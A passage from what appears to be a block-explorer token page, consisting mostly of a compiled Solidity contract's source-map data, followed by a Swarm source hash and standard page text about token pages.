;9462:26:0::1;;::::0;;;:16:::1;:26;::::0;;;;:33;;-1:-1:-1;;9462:33:0::1;9491:4;9462:33;::::0;;9510:11:::1;:18:::0;;-1:-1:-1;;9510:18:0::1;::::0;::::1;::::0;;9385:155::o;4745:160::-;4646:6;;-1:-1:-1;;;;;4646:6:0;2133:10;4646:22;4638:67;;;;-1:-1:-1;;;4638:67:0;;4454:2:1;4638:67:0;;;4436:21:1;;;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;4584:18;;4638:67:0;4252:356:1;4638:67:0;4856:1:::1;4840:6:::0;;4819:40:::1;::::0;-1:-1:-1;;;;;4840:6:0;;::::1;::::0;4819:40:::1;::::0;4856:1;;4819:40:::1;4891:1;4874:19:::0;;-1:-1:-1;;;;;;4874:19:0::1;::::0;;4745:160::o;6569:179::-;6647:4;6668:42;2133:10;6692:9;6703:6;6668:9;:42::i;7449:355::-;-1:-1:-1;;;;;7546:19:0;;7538:68;;;;-1:-1:-1;;;7538:68:0;;4815:2:1;7538:68:0;;;4797:21:1;4854:2;4834:18;;;4827:30;4893:34;4873:18;;;4866:62;-1:-1:-1;;;4944:18:1;;;4937:34;4988:19;;7538:68:0;4613:400:1;7538:68:0;-1:-1:-1;;;;;7629:21:0;;7621:68;;;;-1:-1:-1;;;7621:68:0;;5220:2:1;7621:68:0;;;5202:21:1;5259:2;5239:18;;;5232:30;5298:34;5278:18;;;5271:62;-1:-1:-1;;;5349:18:1;;;5342:32;5391:19;;7621:68:0;5018:398:1;7621:68:0;-1:-1:-1;;;;;7704:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7760:32;;1342:25:1;;;7760:32:0;;1315:18:1;7760:32:0;;;;;;;;7449:355;;;:::o;7818:638::-;-1:-1:-1;;;;;7910:18:0;;;;;;:38;;-1:-1:-1;;;;;;7932:16:0;;;;7910:38;:52;;;;;7961:1;7952:6;:10;7910:52;7902:93;;;;-1:-1:-1;;;7902:93:0;;5623:2:1;7902:93:0;;;5605:21:1;5662:2;5642:18;;;5635:30;5701;5681:18;;;5674:58;5749:18;;7902:93:0;5421:352:1;7902:93:0;4541:7;4572:6;-1:-1:-1;;;;;8013:15:0;;;4572:6;;8013:15;;;;:32;;-1:-1:-1;4541:7:0;4572:6;-1:-1:-1;;;;;8032:13:0;;;4572:6;;8032:13;;8013:32;8010:84;;;8055:11;;;;;;;8047:45;;;;-1:-1:-1;;;8047:45:0;;5980:2:1;8047:45:0;;;5962:21:1;6019:2;5999:18;;;5992:30;-1:-1:-1;;;6038:18:1;;;6031:51;6099:18;;8047:45:0;5778:345:1;8047:45:0;-1:-1:-1;;;;;8114:24:0;;;;;;:18;:24;;;;;;;;8113:25;:52;;;;-1:-1:-1;;;;;;8143:22:0;;;;;;:18;:22;;;;;;;;8142:23;8113:52;8110:232;;;8185:41;8202:4;8208:2;8212:6;8220:5;8185:16;:41::i;:::-;8110:232;;;8279:47;8299:4;8305:2;8309:6;8317:8;8279:19;:47::i;:::-;8433:2;-1:-1:-1;;;;;8418:26:0;8427:4;-1:-1:-1;;;;;8418:26:0;;8437:6;8418:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;3279:206:0;3365:7;3405:12;3397:6;;;;3389:29;;;;-1:-1:-1;;;3389:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3433:9:0;3445:5;3449:1;3445;:5;:::i;:::-;3433:17;3279:206;-1:-1:-1;;;;;3279:206:0:o;8468:509::-;-1:-1:-1;;;;;8624:22:0;;8573:13;8624:22;;;:16;:22;;;;;;8599:7;;8624:22;;8621:218;;;8685:7;;8674:42;;8712:3;;8674:33;;8685:7;;;;;:21;;8705:1;8685:21;;;8695:9;;;;8685:21;8674:6;;:33;;:10;:33::i;:::-;:37;;:42::i;:::-;8666:50;;8621:218;;;8788:7;;8777:46;;8819:3;;8777:37;;8788:7;;;;;:25;;8812:1;8788:25;;;8801:10;;8798:13;;8801:10;;;;;8798:2;:13;:::i;8777:46::-;8769:54;;8621:218;-1:-1:-1;;;;;8871:15:0;;;;;;:9;:15;;;;;;:27;;8891:6;8871:19;:27::i;:::-;-1:-1:-1;;;;;8853:15:0;;;;;;:9;:15;;;;;:45;8929:36;8947:17;:6;8958:5;8947:10;:17::i;:::-;-1:-1:-1;;;;;8929:13:0;;;;;;:9;:13;;;;;;;:17;:36::i;:::-;-1:-1:-1;;;;;8913:13:0;;;;;;;:9;:13;;;;;:52;;;;-1:-1:-1;;;;;8468:509:0:o;8989:384::-;9100:13;4572:6;;-1:-1:-1;;;;;9131:11:0;;;4572:6;;9131:11;;;;:37;;-1:-1:-1;;;;;;9146:22:0;;;;;;:18;:22;;;;;;;;9131:37;:63;;;;-1:-1:-1;;;;;;9172:22:0;;;;;;:16;:22;;;;;;;;9131:63;:76;;;;-1:-1:-1;9198:7:0;;9206:1;9198:7;;;;;;:9;9131:76;9128:107;;;-1:-1:-1;9224:7:0;:9;;9215:8;;9224:9;;;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;9128:107;-1:-1:-1;;;;;9267:15:0;;;;;;:9;:15;;;;;;:27;;9287:6;9267:19;:27::i;:::-;-1:-1:-1;;;;;9249:15:0;;;;;;:9;:15;;;;;:45;9325:36;9343:17;:6;9354:5;9343:10;:17::i;:::-;-1:-1:-1;;;;;9325:13:0;;;;;;:9;:13;;;;;;;:17;:36::i;:::-;-1:-1:-1;;;;;9309:13:0;;;;;;;:9;:13;;;;;:52;;;;-1:-1:-1;;;;8989:384:0:o;3497:274::-;3555:7;3583:1;3588;3583:6;3579:55;;-1:-1:-1;3617:1:0;3610:8;;3579:55;3648:9;3660:5;3664:1;3660;:5;:::i;:::-;3648:17;-1:-1:-1;3697:1:0;3688:5;3692:1;3648:17;3688:5;:::i;:::-;:10;3680:56;;;;-1:-1:-1;;;3680:56:0;;7018:2:1;3680:56:0;;;7000:21:1;7057:2;7037:18;;;7030:30;7096:34;7076:18;;;7069:62;-1:-1:-1;;;7147:18:1;;;7140:31;7188:19;;3680:56:0;6816:397:1;3680:56:0;3758:1;3497:274;-1:-1:-1;;;3497:274:0:o;3781:140::-;3839:7;3870:39;3874:1;3877;3870:39;;;;;;;;;;;;;;;;;:3;:39::i;3123:144::-;3181:7;3212:43;3216:1;3219;3212:43;;;;;;;;;;;;;;;;;:3;:43::i;2916:195::-;2974:7;;3010:5;3014:1;3010;:5;:::i;:::-;2998:17;;3043:1;3038;:6;;3030:46;;;;-1:-1:-1;;;3030:46:0;;7550:2:1;3030:46:0;;;7532:21:1;7589:2;7569:18;;;7562:30;7628:29;7608:18;;;7601:57;7675:18;;3030:46:0;7348:351:1;3933:205:0;4019:7;4058:12;4051:5;4043:28;;;;-1:-1:-1;;;4043:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4086:9:0;4098:5;4102:1;4098;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1711:186::-;1770:6;1823:2;1811:9;1802:7;1798:23;1794:32;1791:52;;;1839:1;1836;1829:12;1791:52;1862:29;1881:9;1862:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:127::-;2625:10;2620:3;2616:20;2613:1;2606:31;2656:4;2653:1;2646:15;2680:4;2677:1;2670:15;2696:422;2785:1;2828:5;2785:1;2842:270;2863:7;2853:8;2850:21;2842:270;;;2922:4;2918:1;2914:6;2910:17;2904:4;2901:27;2898:53;;;2931:18;;:::i;:::-;2981:7;2971:8;2967:22;2964:55;;;3001:16;;;;2964:55;3080:22;;;;3040:15;;;;2842:270;;;2846:3;2696:422;;;;;:::o;3123:806::-;3172:5;3202:8;3192:80;;-1:-1:-1;3243:1:1;3257:5;;3192:80;3291:4;3281:76;;-1:-1:-1;3328:1:1;3342:5;;3281:76;3373:4;3391:1;3386:59;;;;3459:1;3454:130;;;;3366:218;;3386:59;3416:1;3407:10;;3430:5;;;3454:130;3491:3;3481:8;3478:17;3475:43;;;3498:18;;:::i;:::-;-1:-1:-1;;3554:1:1;3540:16;;3569:5;;3366:218;;3668:2;3658:8;3655:16;3649:3;3643:4;3640:13;3636:36;3630:2;3620:8;3617:16;3612:2;3606:4;3603:12;3599:35;3596:77;3593:159;;;-1:-1:-1;3705:19:1;;;3737:5;;3593:159;3784:34;3809:8;3803:4;3784:34;:::i;:::-;3854:6;3850:1;3846:6;3842:19;3833:7;3830:32;3827:58;;;3865:18;;:::i;:::-;3903:20;;3123:806;-1:-1:-1;;;3123:806:1:o;3934:140::-;3992:5;4021:47;4062:4;4052:8;4048:19;4042:4;4021:47;:::i;4079:168::-;4152:9;;;4183;;4200:15;;;4194:22;;4180:37;4170:71;;4221:18;;:::i;6128:128::-;6195:9;;;6216:11;;;6213:37;;;6230:18;;:::i;6261:148::-;6349:4;6328:12;;;6342;;;6324:31;;6367:13;;6364:39;;;6383:18;;:::i;6414:175::-;6451:3;6495:4;6488:5;6484:16;6524:4;6515:7;6512:17;6509:43;;6532:18;;:::i;:::-;6581:1;6568:15;;6414:175;-1:-1:-1;;6414:175:1:o;6594:217::-;6634:1;6660;6650:132;;6704:10;6699:3;6695:20;6692:1;6685:31;6739:4;6736:1;6729:15;6767:4;6764:1;6757:15;6650:132;-1:-1:-1;6796:9:1;;6594:217::o;7218:125::-;7283:9;;;7304:10;;;7301:36;;;7317:18;;:::i

Swarm Source

ipfs://cb31cfa69d03b1da40b45f68d1653b9ef873ff72f31389a183c9fa7d1f0f0130
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.